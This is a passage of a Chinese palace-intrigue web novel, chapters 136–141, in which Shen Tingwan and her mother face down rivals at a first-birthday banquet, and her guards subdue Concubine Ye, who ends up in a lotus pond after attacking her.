一众妇人看到了沈听晚的到来,也赶忙朝着她的方向,行了个端庄的礼:“臣妇参见王妃娘娘。” 沈听晚见着这阵仗,也是被吓了一跳,心里倒不是紧张,而是感叹,这就是古人,分三六九等的年代。 如果她现在不是翊王妃,而是一个普通的寻常百姓,哪里会有这么多人对她一个女子谄媚奉承。 “不必多礼。” 沈听晚礼貌而又不是微笑的开口。 因为是孩子的周岁礼,所有人都围着抱着孩子的奶娘看,宴会还没开始,不少早就到了的夫人们在一旁逗着孩子。 那小孩儿也并不认生,不管谁伸手逗他,都是一脸笑呵呵的,引得众人心里好一阵欢喜。 然而这时候,却偏偏有那不安分的主儿,想要惹事儿。 第136章 她不会还惦记着父亲呢吧 只见沈听晚刚来到奶娘的跟前,准备也同一众夫人一起看看孩子,便听到一个声音在耳边响起:“翊王妃怎么和沈夫人一道来了,王妃都嫁人了,平日里是还住在娘家吗?” 这话说的,一听便是充满了恶意。 沈听晚抬眼,就看见一个身穿华服的夫人站在不远处,说完话之后,正拿着帕子掩唇讽刺笑着。 沈听晚看着眼前的夫人,正想着这人是谁,便听到身边沈夫人黑着一张脸:“赵金燕,这么长时间不见,你这张嘴还是那么贱!” 沈听晚:“???” 这就开始要对骂上了吗? 沈听晚知道,今天这场宴会肯定是没办法太平的,想要针对她的人,也不可能占少数,但却没想到,竟然来的这么快。 而从沈夫人口中得知了眼前的夫人叫什么之后,沈听晚也立马恍然。 赵金燕。 从前和沈夫人就最是不对付。 两个人的恩怨,那估计得从原主还没出生之前说起了。 传言,这个赵金燕年轻时候,可是有意要嫁给沈将军的。 没错,就是沈听晚的父亲沈煜。 当时原主的父亲和沈夫人都已经相看欢喜,两家都已经定了亲,那是啥,赵家却想着要横插一脚。 身为女家,竟然不顾众人的议论,亲自去沈家下了庚帖,要打算把女儿嫁到沈家来。 此消息一出,也瞬间传遍整个京城,以至于差点倒是原主和沈时修无法降生。 还在他们的父亲是个坚定不移的主儿,非沈夫人不娶,哪怕顶着赵家和皇室的威逼利诱,最后还是毅然决然的把沈夫人娶进门。 要不然,估计后来就没有沈听晚和沈时修什么事儿了。 后来或许是见着沈家态度强硬,再加上沈煜娶了安氏的女儿为妻,才叫赵家彻底断了念想。 此事在京城闹得沸沸扬扬,赵家也自知颜面无光,便草草的把赵金燕嫁出了门去,据说那男人在朝中的地位并不算太高。 “安若琳,这么多年过去了,你这性子还是一如既往啊,也不知道沈将军是怎么忍得了你的!” 赵金燕冷眼瞪过去,语气听上去极为不善的冷哼道。 “将军能不能受得住,那也是我们夫妻之间的事儿,你未免管的太宽了些吧,还是说,这么多年过去了,你心里头还惦记着我夫君呢?”沈夫人狠狠地翻了个不算优雅的白眼,又继续气死人不偿命的开口:“还是惦记着也没用,有些人是就算是倒贴上来,也我夫君也不会正眼看上一眼!” “安若琳!” 沈夫人睨了一眼:“有何贵干!” 对付赵金燕这样的人,就得强势一些,不然的话,她都恨不得骑在人头上的嚣张! 赵金燕被气的浑身直哆嗦,她满眼怒火,瞪着沈夫人,却是气的半个字都说不出来。 沈听晚站在一旁强忍着笑。 不得不感叹一句啊,她母亲着战斗力,真的不是一般的强啊! 这压根就用不上她出手呢,对方就已经被自己母亲碾压的体无完肤了。 沈听晚朝着那赵金燕的脸上看过去,只见那人的脸真的黑的好锅底差不多一个色。 话说回来,她心里头也有点好奇,这赵金燕的心里这么多年不会还惦记着她爹呢吧? 赵金燕想要反驳沈夫人,谁知道这个时候沈夫人又啧啧两声,上下打量了她两眼道:“啧啧啧,我说赵金燕,你看上去还真是够闲的,有这个功夫瞎操心我女儿和王爷,还不如管管你丈夫后院的那帮姨娘们啊,不然她们在趁你不注意,保不齐就爬上了李侍郎地床…… 也是难为了你,家里头都乱成一锅粥了,哎,做妻子的不把心思都放在自己丈夫的身上,也难怪,李侍郎隔几个月就从外头带回来个姨娘呢。” 赵金燕的脸都被气绿了。 而此时,沈夫人又叹了口气,轻声的开口:“其实有时候,我还挺羡慕你家后院呢,可不想将军府的后院,冷冷清清的,我有时候闲着无聊,想找一个人吵吵架的机会都找不到……还怪,寂寞的呢。” 这话说的。 真是让赵金燕气的牙都要咬碎了。 沈听晚在一旁看着,也似乎想起来了。 这赵金燕,之后被家里人仓促嫁出去,嫁的人家就是李家大郎。 说是赵金燕嫁过去的时候,那李家大郎地后院就有了不少通房丫鬟服侍。 别人家顶多也就是两三个通房丫头也就够多了,可那李家大郎的后院,还没去正妻进门呢,后院就有了十来个通房丫头! 那时候赵金燕的名声也不好,在京城闹的是沸沸扬扬的,自然没有好人家肯上门来提亲的。 而这李家那个时候却是主动登门像赵金燕来提亲,目的却是为了,给自家大儿子娶一个正妻,压一压后院的莺莺燕燕。 更重要的是,李家大郎如果想要在仕途上能够晋升一步,那就必须要有一个稳定和睦的家庭。 而这一点,娶一个正妻回来放在家里头摆着,却是至关重要的。 当然了,这些也是赵金燕嫁到了李家之后才知道的。 那个时候,她想要后悔悔婚,也已经晚了。 再加上,赵家丢不起那个人,也算是彻底放弃了赵金燕这个女儿,放任着她在夫家自生自灭了。 这些年,赵金燕咋夫家的生活可以说是水深火热,也多亏了她有一个强势的性子,婆家人见着她脾气火爆,是个不好拿捏的,平日里也不敢招惹。 但那个李侍郎可就不一样了,本来花心就是从小就有的劣根,这些年也丝毫不曾收敛半分。 对此,赵金燕也懒得管,本来就没有什么感情,她也从来没把李家大郎当做个自己的丈夫,以至于她嫁进李家将近二十年,膝下只有个一儿一女,庶子庶女倒是一大堆! 更加叫人感到炸裂的是,不光是李家那大郎喜欢在外面厮混,这个赵金燕也不是一个安分的主儿,可是京城里戏班子可没有一个不认识这李家大郎家主母的呢! 第137章 专挑痛处说 不得不说,她这个娘亲,真是专门往人家的痛处硬戳啊。 不过这性格,她喜欢! 看着赵金燕那张比陈年猪肝还要难看的脸色,再看周围那些原本还蠢蠢欲动的夫人们,此刻一个个噤若寒蝉,再也不敢造次,唯恐被沈夫人一语戳中痛处。 毕竟,家家有本难念的经,谁家没有点让人糟心的破事儿呢。 他们可不想被人拿出来,让外人当面看了笑话! “哎呀,这是怎么了,好端端的,怎么还吵起来了,李夫人,今天可是我儿子的周岁宴,你可不能来砸场子啊。” 这时,不远处定远侯府的儿媳谢少夫人缓步走来,温声细语地打破了这令人窒息的僵局。 赵金燕一时恼火,怒焰看过去:“你是眼睛不好使还是耳朵坏了,没看到是安若琳在辱骂本夫人吗!” 谢夫人哪敢得罪沈家啊,只能沉着脸下来:“这话可就不对了,李夫人,分明是你先挑起的事端,你不说人家女儿,沈夫人怎么会说那些话? 而且人家可是翊王妃,身份贵重着呢,在怎么说,也轮不到我们一届妇人评头论足!” 谢夫人也算是说了一句公道话。 毕竟是他们家的场子,谢夫人也知道,谁家是他们得罪不起的。 抛开沈听晚的夫君是翊王不谈,沈家在京城,那可是举足轻重的,更是手握重兵,皇帝跟前的红人。 她的公公虽然说是侯爵,那也是快过了气的,手上没有实权,就顶着一个侯爵的位置,实际上还不如一个将军府呢。 “好了,今天来的都是定远侯府的贵客,本应该热热闹闹的,谁若是再想着要砸场子,就别怪本夫人要往外撵人了。” 谢夫人也是一阵头疼的很,她也知道,只要有沈夫人和李夫人两个人一同都在的席面上,定是免不得争吵的。 早知道她就应该劝劝婆母,不忘那李家发帖子了。 谢夫人此话一出,翟金燕也瞬间歇了火。 毕竟,他们是来参加人家定远侯府的宴会,如果内主人家赶出去,那只怕是会在京城都要出了名呢。 到时候,还会有那家人敢邀请这样不安分的客人来参加宴会呢。 一场闹剧,也是以这样的方式结束了 就连沈听晚也没想到,定远侯府的谢夫人也是向着她们的。 这确实是给她们省了不少的麻烦。 沈夫人此时也是气的够呛,她的女儿,就算是嫁的再不好,也轮不到外人说上半句话。 更何况,她女儿嫁的可是王爷,就算身子不好,那也是亲王之尊。 那赵金燕也算是撞到了沈夫人的底线上了,她自然不可能任由这些人来欺负了她女儿。 “哼,晚晚,我们走。” 沈夫人拉着沈听晚的手便要走,又赵金燕在的地方,她都觉得晦气! 此时,也是有一帮夫人纷纷围上来,劝着沈夫人消消气。 那李夫人的性格又多么强势,她们都在京城里,哪里会不知道的。 和这样的人生气,不值得。 沈夫人虽是火气不小,但消气也快。况且今日是在定远侯府的席面上,方才谢少夫人出面也已维护了沈家和她女儿的颜面,沈夫人自然也不好真的搅了人家孩子的周岁宴。 接下来的前厅里,便是一阵其乐融融的景象。 沈夫人也换上一副和蔼地笑脸,在那孩子面前笑着小孩乐。 一帮夫人也围在奶娘周围,无一不夸赞这小奶娃娃长得俊俏。 沈听晚在沈夫人的身边,看着周围一圈人不是都孩子,就是讨论着教养孩子地话,她虽然也已经嫁了人,但毕竟没有小孩,在一旁也是插不上半句话 更何况,沈听晚本就对小孩子不太感兴趣,坐了一会儿,便有些坐立难安了。 她低声叫住沈夫人:“母亲,我去外面透透气。” 房间里实在太过闷热,因有小孩子在,下人们不敢开窗,唯恐吹进冷风让孩子着凉。 屋内不仅弥漫着孩子的奶香,还混杂着一众夫人身上浓烈的胭脂水粉味而,实在令人难以忍受。 沈夫人有些担心:“好,你别走远了,有什么事,尽管找母亲。” 沈听晚不禁笑了:“母亲,我不是小孩子啦,能照顾好自己的。” 更何况,若是敢不要命的贴到她跟前来,那人才会知道,她只会是比沈夫人还要不好惹的存在。 沈听晚站起身来,没有惊动任何人便悄声出了正厅。 走出去,呼吸到一口外头的新鲜空气,沈听晚才彻底松了口气。 还是外面的空气新鲜啊。 沈听晚站在门口站了一会儿看着不远处的亭子下无人,便准备走过去静一静。 春婳在沈听晚的后面跟着,冬卉则是隐藏在暗处,时时刻刻关注着周围的一草一木。 只要有一丝风吹草动,都瞒不过他们两人的眼睛。 对此,沈听晚也十分放心,毕竟不会有人愚蠢到,在人家宴会上对她下手。 定远侯的后院着实是花了不少心思,不远处蜿蜒着一条雅致的回廊,尽头处还挖了一个不小的荷花池。只可惜寒冬将至,已不是荷花盛开的季节,不然定是一处美不胜收的盛景。 “这定远侯想必十分喜欢江南的景致呢。”春婳在沈听晚的身后跟着,也不紧感叹开口。 沈听晚轻挑了挑眉:“此话怎么说?” 春婳立马开口,抬手指了指:“王妃您看呀,整个院子都是仿照江南水乡的规模建的,而且花园里的花草不少,很多都受从江南运回来栽种的。 只是可惜,这些花草最是畏寒,一场初雪下来,恐怕就要尽数凋零了。 而且奴婢听说,定远侯府每年都会从江南那边大价钱运回来花草栽在自家的后花园里,连池塘里的那些荷花,都不是一般品种呢。” 春婳能知道这些也并不稀奇,没在沈听晚身边侍奉之前,她和冬卉也是时常在各地奔走,江南那地方,她们也去过很多次。 听着春婳的介绍,沈听晚才发现些门道。 这定远侯府,还真是够富的呢。 第138章 叶才人在东宫的日子格外滋润啊 光是在江南那边运回来鲜活的花草,这笔银子,就是一笔不小的开销呢。 更何况,这笔银子,可是每年都要固定花出去的开销呢。 “王妃,我们去那边凉亭休息一下吧。” 沈听晚正想着,便听到耳边传来春婳的声音。 “好。” 后院的人不少,大多数都是和家中长辈一起来参加宴会的,待在院子里无聊又无趣,便纷纷找了由头, 回来透透气的。 而定远侯府的待客之道也着实是周到的很,基本上每走上几步都能看到几个定远侯府的下人在一旁热情服侍着客人,只要招招手,茶水,点心,就会立马送到客人的跟前来。 无一不彰显着这定远侯府富得流油啊。 沈听晚喝春婳两人朝着一处无人的亭子走去,然而,刚走到亭子边上,突然间窜出来一个婢女,伸手挡在了沈听晚的面前,随即趾高气昂满脸不屑傲慢的说:“这是我们夫人先看到的,你们换个地方吧!” 春婳这一听就立马炸了毛,满眼怒气的回怼过去:“放肆,谁那么大胆子,敢挡了王妃的路!” 婢女一听到春婳的话,也瞬间收敛了气焰,抬眼上下打量了沈听晚两眼,不过还是算不上恭敬的开口:“王妃娘娘,做人总讲究先来后到吧,纵然您是王妃,也比能霸道不讲理啊。” 这下子,沈听晚都被气乐了,她勾了勾唇,抬眼四下看了看,却不见周围有人:“不知道你是哪家夫人身边的婢女,本王妃为何没看到你的主子呢? 你刚才说先来后到,名是本王妃先到,更何况这里是定远侯府,也不是你家夫人专属的亭子,怎么就非要让本王妃让位置?” 沈听晚也不是那种不讲理的人,如果方才那丫头能够好言好语的说,她也不在乎这一间亭子,周围还有不少,她大可以换一个也就罢了。 可这丫头,开口就太过嚣张了些,那她也自然不会惯着! 那婢女听见沈听晚的话,也半点不怂:“王妃,您不能仗着自己的身份就为难我一个婢女啊,更何况这京城里的贵人可不少,我们家主子也不是王妃能得罪的!” 这下子,沈听晚更加好奇了。 京城里有,难不成除了皇帝皇后,还能有他们翊王府都不能得罪的人? 如果真的是这样,她还确实是想要好好见识见识了! “春婳,我们进去,本王妃今天倒是要看看,京城里头究竟还有什么人是本王妃得罪不起的!” 沈听晚也不愿意与一个小丫鬟多浪费口舌,于是便带着春婳,径直朝着亭子的方向走去。 那拦路的婢女瞬间被气得面红耳赤,立马上前:“哎,你们不能走……” 然而,话还没等说完,便见春婳一记冷眼瞪过去,紧接着她抬手提了提腰上的佩剑:“再敢拦路,休怪我不客气!” 敢在她的眼皮子底下靠近王妃,真以为她是个摆设吗? 婢女被春婳的举动吓得一激灵,连连向后退了两步,脸上更是吓得面容失色。 春婳见状也是冷笑一声,随即冷声催了一口:“欺软怕硬的东西!” 呸! 她当真还以为多厉害呢! 不过是一只纸糊的老虎,一捅就破。 而这个时候,我在他们的不远处突然间悠悠然的出现了一道声音:“呦,我当是谁呢,原来是要嫁给太子殿下没嫁嫁成,反而攀上翊王的翊王妃啊。” 婢女见着自家主子现身,立马红着眼睛委屈得到:“才人,奴婢方才想着这亭子里安静,弄好可以让你好好休息的,他们不依不饶,不仅要霸占亭子,还要动手打奴婢?” 沈听晚听着那婢女的话,也是不仅感叹。 丫头睁眼说瞎话的功夫真是不浅啊。 转头,朝着身后定睛一看,沈听晚嘴角的笑意更深了。 这不就是不是冤家不聚头吗? 她原本心里还疑惑着,宴会都要开始了,怎么还没遇到叶雪初呢。 这不就让她碰见了吗。 “原来是叶才人,怎么的,这是在东宫的日子过得太滋润了? 看来太子殿下对叶才人真是宠爱有加啊,以至于叫叶才人都忘了礼节了?” 沈听晚知道,叶雪初最在乎的是什么。 无非是她是才人而并非太子妃的身份。 原书中,这个叶雪初对原主处处百般刁难,在原主面前和君宁玄大秀恩爱,不过是因为原主是太子妃,而她却是区区一个侧妃,心里不平衡而已。 不过现在嘛。 沈听晚心里冷笑,连太子侧妃的身份都没有,不过是一个小小的才人,如果不是皇后松了口,这样的宴会,她连参加的资格都没有。 可见,叶雪初在东宫,肺子都要被气炸了吧。 这么想想也是,君宁玄虽然喜欢叶雪初,但也仅仅是表面的的喜欢而已。 实际上,君宁玄从来没喜欢过任何人,他只喜欢他自己。 所以,叶雪初如果能给君宁玄带来有利的条件,他才会喜欢,但那日叶雪初的出现,让君宁玄被皇帝斥责,不仅如此,还被下了禁足,君宁玄心里就算是不怨恨,也只怕是不会给叶雪初多少好脸色。 叶雪初原本是想要给沈听晚一个下马威,哪成想,沈听晚的性子是真的变了,听着她的话,叶雪初的脸色也沉下去不少:“你是上本夫人向你行礼?” “不然呢。”沈听晚挑着眉,脸上的笑意不达眼底,她就是喜欢看叶雪初吃瘪的样子。 叶雪初眉头紧蹙:“沈听晚,你放肆,本夫人再怎么说也是太子殿下的人,如今东宫,可只有本夫人一个女人,位同侧妃!” “那叶才人是不是忘了,本王妃可是翊王殿下正妃,今天就算是太子在本王妃面前,也得同我这个皇婶行大礼!” 沈听晚现在是发现了,君宁玄皇婶这个身份,实在是太爽了! 叶雪初神色一愣,有那么片刻没反应过来。 她怎么忘了,沈听晚现在地身份不同往日,她不是太子府的人,自己没办法用太子压着沈听晚。 第139章 好好教教叶才人规矩 更加离谱的是,沈听晚说的话也是句句属实,她是太子的皇婶,自己这个才人的位置,确实比不上一个王爷正妃的! 可是要让她向沈听晚行礼吗? 不可能! 她再怎么说也是丞相之女,怎么能屈尊对一个莽夫之后行礼。 这种屈辱,叶雪初可咽不下去! 叶雪初的脸色沉下去不少,但也知道,继续僵持下去,对她也是不利的。 想到母亲说,宴会上会有人帮她,会给沈听晚一点教训,叶雪初选择觉得还是先别惹沈听晚的好。 一想到永国公对沈家早已经心生不满,这场宴会,老妇人不会放过沈听晚,叶雪初的心里就好不畅快。 叶雪初眼底闪了闪一抹光亮,瞪了沈听晚一眼,随即看向一旁委屈巴巴的婢女,厉声呵斥:“废物东西,在外面被人欺负了,还要本夫人给你撑腰,算什么东西,有人现眼的玩意儿,还不快跟本夫人走!” 婢女心里原本还想着自家主子能为她撑腰,怎么着也得让那个刚才要抽剑吓唬她的丫鬟吃点苦头呢。 可却不成想,自己反倒是被主子呵斥一顿,立马红了眼眶,蔫头耷脑的走到了叶雪初身后。 叶雪初狠狠的剜了一眼。 没用的东西。 她还想让丫头给沈听晚那个贱人一和下马威呢,谁成想竟是个废物。 “还不快滚!” 这样没用的废物,等回去之后,定把她换了,遣她去到夜壶! 眼看着叶雪初要走,沈听晚哪里会让她如愿。 只见她冷声开口:“站住。” 叶雪初脚步一顿,强压怒火问道:“沈听晚,我都把亭子让给你了,你还要做什么?” 只见沈听晚懒哒哒的说:“刚才没听到本王妃说的话吗,叶才人,不用对本王妃行礼?” “沈听晚!你别欺人太甚!”叶雪初气得浑身发抖。 沈听晚轻蔑一笑,连看也不看叶雪初一眼,转头对身旁的春婳吩咐:“看来叶才人还是不明白规矩,春婳,你去教教她。” “是!” 春婳是最喜欢这种差事的,整个人就像是一支蓄势待发的弓箭,一声令下便唰的一下冲了过去:“叶才人,得罪了!” 话音未落,她就已经抬脚一个狠劲,精准地踹向叶雪初的膝盖窝。 噗通一声。 叶雪初膝盖一个吃痛,整个人直愣愣地朝着沈听晚的方向跪了下去。 春婳毕竟是暗卫出身,下手极有分寸,这么一脚踹过去,不仅力道十足,连方向都掌握得恰到好处,让叶雪初痛得眼泪直在眼眶里打转,跪拜的方向也正好对着沈听晚。 那力气之大,在场的众人只听见咔嚓一声巨响,叶雪初的一条腿似乎都要断了。 叶雪初一个身形不稳,跪下去之后,整个身体也向前一趴,整个人来了个狗啃泥。 好半天,叶雪初都没缓过神来,那边又惊又怒,浑身还传来剧痛无比。 她挣扎着起身:“沈听晚!你竟然命人打我!” 啪! 叶雪初的话音都还没落下,便见春婳抬手又是一巴掌扇过去:“看来叶才人还是不明白什么是尊卑有序啊!” 春婳的力气之大,直接就把叶雪初给扇蒙了,耳中只觉得嗡嗡作响,脸颊一侧又麻又胀,连疼的知觉都没有了。 “沈听晚!我要杀了你!”叶雪初又是好半天才回过神来,只见她一脸气急败坏,显然是丧失了所有的理智一般,强忍着痛意起身便不要命地朝着沈听晚的身上扑过去。 而春婳更不是个摆设,在叶雪初起身的一刹那,便一个抬手死死抓住了叶雪初的手腕。 春婳的手劲惊人,只那么一捏,便叫叶雪初恢复了全部理智,紧接着浑身的剧痛再一次席卷全身,疼的她瞬间哇哇乱叫起来。 “放手!沈听晚你个贱人,还不叫叫她放手!”叶雪初疼的不行不行的,只得对沈听晚叫喊道。 而叶雪初身边的那个小丫鬟,早已经吓得双腿发软,都不用春婳动手 直接吓得昏死过去。 开玩笑,这么可怕的存在,她可打不过啊。 不过也不能站在那里看自家主子的热闹啊,保不齐等回去之后,叶才人会把所有的怒气撒在她的身上呢。 所以,婢女心想,该晕还是晕一下的。 同时她心里也格外庆幸,刚才没有真的上前去和那个厉害的婢女纠缠,不然恐怕受苦的,可就不止是叶才人了,连她恐怕都免不了被一阵磋磨。 面前传来叶雪初不断的叫喊声,先是咒骂,后来服了软开口求饶命,沈听晚只觉得格外刺耳的很。 她抬手掏了掏耳朵,满脸的厌恶:“看来叶才人是真的知道错了,也知道什么事礼仪尊卑的是吗?” 叶雪初此时痛的感觉自己的手腕都要被春婳捏断了,哪里还敢嘴硬,连忙点头:“是,我知道错了,王妃娘娘,求你快叫她放手吧!” 沈听晚微微勾唇,朝着春婳看了一眼,示意她可以放手了。 春婳的手松快的很快,然而她刚把手松开,叶雪初整个人就仿佛不受控制的再一次跌倒在地上,啪嗒一声,有一次摔了个狗啃泥。 那样子,看上去好不滑稽可笑,就连沈听晚的嘴角都勾起了一抹压不下去的笑意。 春婳直视草草的睨了一眼,也没有打算要上前帮忙把叶雪初扶起来的一丝,随即收回视线,大步走到沈听晚的身后背着手站好,一副她眼里只有自家王妃的模样。 叶雪初实在是气急,趴在地上,紧握起的拳头用力捶打着地面:“沈听晚,太子殿下不会放过你的!” 她一定要在太子的面前狠狠地告这个贱人一状,还有永国公老夫人。 这个贱人敢在这随随便便磋磨她,不给她半分颜面,等下她一定要让老夫人给她狠狠地出这口恶气! “看来叶才人还是不懂收敛啊?”沈听晚也是有些无语,心中更为鄙夷。 都成这样了,那张嘴还是停不下来,你以为这世上所有人都惯着吗? 还太子? 她连天王老子都不怕! 第140章 所以叶才人是狗? “再敢多说半个字,你只会比现在还要惨。” “你!”叶雪初怎么也没想到,从前那个唯唯诺诺胆小如鼠的沈听晚,竟然变得这么凶悍,她挣扎着起身,坐在地上,一边揉着发痛的手腕,一边又忍不住的死撑着:“我不过是没来得及向你行礼,你就让人对我动手,沈听晚,打狗还要看主人呢!” “哦,所以你是狗?”沈听晚笑着挑眉,嘴角的弧度也越发深了些。 她就从来没见过这么蠢的人,竟然把自己比作是狗的。 “你什么意思!”叶雪初尖锐的叫喊声,也瞬间引来了周围不少人的注意。 不过沈听晚也不在乎,她红唇微微开启:“字面意思。”她的语气也逐渐冷下来了些:“你刚才说打狗看主人,你是谁的狗啊,太子的狗吗?那我还就打了,你若是不服气,大可以让你主人来找本王妃,看我带不带怕一点的。” 君宁玄的脸她都大了,小小一个才人的脸,她怎么就打不得了呢。 她不仅能打得,就是真的杀了叶雪初,谁又能把她如何呢? 叶雪初的脸瞬间被憋的通红起来,一边脸肿的挺老高,看上去滑稽又好笑。 她也是郁闷的很,这段日子,她虽然如愿进了东宫,可也不过是一个小小的才人身份,而且还丢尽了颜面,整个东宫的人都是表面上对她恭恭敬敬,私底下怎么说她的都有。 还有太子,她原本以为,自己不在乎脸面,也不在乎身份,只要能在太子身边,又太子的宠爱,便怎么都值了。 可是,自打那日过后,太子就再也没进过她的屋,名义上是以禁足为借口,可解了禁足,太子对她的亲热也大不如前了。 虽然太子没有因为那件事训斥过她,可叶雪初却能看得出来,太子是怨恨她的。 这一次宴会,她也是花了大价钱叫人给父亲母亲送出了信,她一定要来参加这场宴会,就是为了要好好沈听晚教训沈听晚一顿。 在哪成想,她非但没教训成沈听晚,反而被沈听晚这个贱人打成这样。 若是在平日里,她不是太子才人,而是丞相府嫡女,有人敢对她这样,她在就派人把沈听晚的嘴脸给撕烂了。 可偏偏…… 她现在嫁了人,不再是叶家女,没了父亲母亲的庇佑不说,还成了任谁都能捏咕两下的才人。 憋屈啊! 她什么时候受过这样的耻辱! 而此时,沈听晚也没了兴致,只觉得叶雪初无趣的很,她抬眼睨了叶雪初一眼:“叶才人,本王妃劝你,从今往后,离我远一点,也别想着又太子撑腰,就能拿捏我什么,再有下一次敢对本王妃不敬,那可就不是挨打的事儿了,而是你这个才人的身份,是否能保得住?” 一个小小的才人,她只要一句话,只要进宫道皇帝和太后面前一闹,叶雪初的位置可就摇摇欲坠了。 那时候,叶雪初可就真的成了弃妇只能灰溜溜的回丞相府了哦。 而且,若是夫家是常人,叶雪初可能还有再嫁的机会,可是被太子休弃,未来天子的女人,谁敢不要命的娶回家? 不得不说,叶雪初这一出非要嫁给君宁玄,是把自己的路都给走窄了。 她这一辈子,都摆脱不了是太子女人的身份,现在是才人,今后也根本没有机会再上一步,往后东宫有了太子妃,太子侧妃,可有得叶雪初苦头吃。 叶雪初被沈听晚的话也是惊了一大跳,不禁瞪圆了双眼。 她就想不明白了,沈听晚这个贱人,怎么就在这么短的时间里,要是变成了另外一个人似的呢。 以往沈听晚那个唯唯诺诺的性子,是在骨子里的软弱,正因为如此,她才会这么肆无忌惮的拿捏她。 哪怕那时候,她成了太子妃,她也对这个贱人没有一丁点的畏惧。 可是现在呢,沈听晚这个贱人分明就是一个恶鬼,她根本不在乎自己的名声,不害怕任何人,说动手打人就打人,根本不会多想一点。 这还是她从前认识的那个沈听晚吗? 沈听晚看得出来叶雪初眼底的震惊和不敢置信,只是冷笑一声。 她所认识的那个沈听晚,已经死了,是她和君宁玄亲手折磨死的不是吗? 如果不是这样,她也不可能会到这里来。 既然她来了,那后面,便由她来好好整治整治这对恶人了。 当然,这些话沈听晚不可能会对叶雪初说,她就是要让叶雪初憋屈着,接下来的日子里,在震惊与恐慌之中活着。 沈听晚最后看了叶雪初一眼,随即收回视线便准备转身要走。 春婳也立马跟了上去,临走之前,还朝着叶雪初的方向睨了一眼。 就这样的货色,也敢在她们王妃娘娘的面前造次吗? 也多亏王爷今天没来,不然的话,怕是叶雪初怎么死的都不知道。 不得不说他们王妃娘娘还是太过心慈手软了。 换做是她,她保证叫叶雪初接连三个月都起不来床! 就在沈听晚和春婳转身离开的那一瞬间,叶雪初仿佛就像是中了邪似的,发了疯似的朝着沈听晚的身后冲了过去,手上不知道何时,竟多出来了一把匕首,那个动作分明是要趁着沈听晚不备,杀了她的架势。 春婳原本以为叶雪初不敢再有什么小动作,便放松了警惕,却不想叶雪初竟然还敢冲过来。 说时迟那时快,就在周遭就连春婳都好没有反应过来之际,冬卉已经现身到沈听晚的身后,抽剑打掉了叶雪初手上的匕首,下一瞬一个抬脚用力猛踹过去。 冬卉的这一觉也是用了十足十的劲儿,直接踹到了叶雪初的胸口处,只听到她发出一阵闷响,然后遍被踹出去十几米远,直接掉进了在叶雪初身后的荷花池里。 京城的姑娘,不像江南,很少有人会洑水,直接她掉进荷花池里头,连喝了好几口脏污的溺水,双手不停的在水面上扑打起来。 “救……救命!” 第141章 叶才人落水了 眼下正值深秋,马上就要下初雪了, 池子里的水冰冷刺骨,叶雪初跌入水中的一刹那,刺骨的寒意如千针万刺,瞬间穿透肌肤,直钻入骨髓深处。 这下子,那个方才被吓“晕”死过去的婢女也不敢在晕了,一个激灵从地上蹦起来,跑到荷花塘边上,月也因为不会游泳,不敢下水救人,只能无助的大喊::“救命啊,快来救人啊,我家才人落水了,快来救人啊!” 小丫鬟着不喊不要紧,一喊谁还敢冲下去救人的。 会洑水的大多数都是男人,女子鲜少,天下这会功夫前来围观的小姐夫人们居多,竟没有一个会游泳的。 至于家丁男子倒是也不少,可是…… 掉进去的可是太子殿下的女人,钻石有多少个脑袋啊,敢和太子殿下的女人有接触? 至于沈听晚,她倒是会游泳,可叶雪初刚才可是要杀了她的,且不说她本就不是多大度的人,就是再宽宏大量,也不可能会发贱的去救一个要杀她的人吧! 一时之间,前来围观的人越来越多,却只能站在边上干着急,当然还有不少前来看热闹的人袖手旁观。 下人们见着有客人落了水,也着急的拿着竹竿想着要把叶雪初从水里边给救上来,毕竟是他们定远侯府请客,若是客人遇险,那也是和他们侯府脱不了关系的。 可叶雪初毕竟是女子,他们纵然心里面着急的很,但也不敢贸然下水救人:“叶才人,您别扑腾了,这水不深的……” 荷花池的水能有多深,是致命的却是池里头的淤泥很多。 再这样扑腾下去,被里面的水草绊住,那才要人命呢。 叶雪初也是着急了,再加上受到了极具的惊吓,下人的话她那里能听得进去。 她要是真听了下人们的话就能发现,只要她不动,尽量把身体站直,那池子里的水,还没到她的脖子深呢。 沈听晚站在莲花池边上,看破了这一点,却也没出声提醒,只是冷眼看着叶雪初不要命的扑腾,或许是扑腾累了,身子紧绷着下沉,又是呛进鼻子里不少泥水。 听了下人的话说出口,在场的一众人也都不紧张叶雪初的安慰了,纷纷好奇的往池水里面张望着。 果然 池水不深,还能看到最底下有一层淤泥,因为叶雪初的动作起伏太大,已经有不少的淤泥挑起来,弄得满池塘黑黢黢一片,就连里面刚扎根的莲花都被折断了好几根。 下人们见状,更是眉头紧紧蹙起,这样下去的话,我们侯爷心爱的莲花可都要被这位才人给毁了啊! 那些莲花可都价值千金啊。 才人的命虽然贵重,可他们荷花池的荷花更是价值不菲啊! 这些荷花要是被毁,他们的小命还能保得住吗? 这下子,下人们纷纷慌了神,也不管什么男女有别的大防,只想着那些荷花能够免遭池鱼之祸,一个个纷纷跳下水去,要了命似得拽住叶雪初的衣领子就往上拉。 叶雪初此时脑袋还迷糊着,抓到了一个下人的胳膊,我仿佛像是抓到了救命稻草似的,死死的抓着不放,再加上她不会浮水,身体沉的要命,一味的要拖人下水。 下人见状很是恼怒,眉头紧锁,咬牙切齿地说道:“才人,您别再硬拽奴才了!这莲花池里的水并不深,但若您继续这般拉扯,恐怕我俩的性命都要交代在这里了!” 他心里也是郁闷的很,原本好心下水来救人,可却险些被这才人拖下去。 万一被里面的水草缠住了脚,不用侯爷治罪,他就得丧命在这位才人的手上! 叶雪初听了下人的话,脸也瞬间红了,恢复理智的叶雪初,身体慢慢放松下来,双脚离地才发现,那莲花池里的水刚刚到她的胸口。 叶雪初不敢置信的低下头去看,脚下试探的抬了抬,发现淤泥虽然不浅,但因为天气凉的缘故,都已经有些发硬了,完全能承受得住她身体的重量。 这下子,丢大人了…… 抬眼感受到周围不少人向她投来的目光,叶雪初只恨不得干脆被淹死。 叶雪初深吸一口气,感觉到自己腰间似乎有什么在游走,立马发出尖锐刺耳的尖叫声:“啊!你这个登徒子,你敢轻薄于我!” 看着眼前那个身体紧紧贴近自己的下人,叶雪初更是羞怒交加,抬手就给了下人一巴掌。 只听到“啪”的一声巨响,下人的一边脸被叶雪初打的又红又肿,也立马怒了。 “叶才人,我虽然说是个下人,但也是人啊!您自己跌入池中,大家都告诉你这水不深,是您听不进去的,差点溺毙。我好心下水相救,反被您当作登徒子,天下哪有此等道理?”下人怒不可遏,索性松开扶在叶雪初身上的手,下一秒,叶雪初便失去了重心,差点又摔到了池水里。 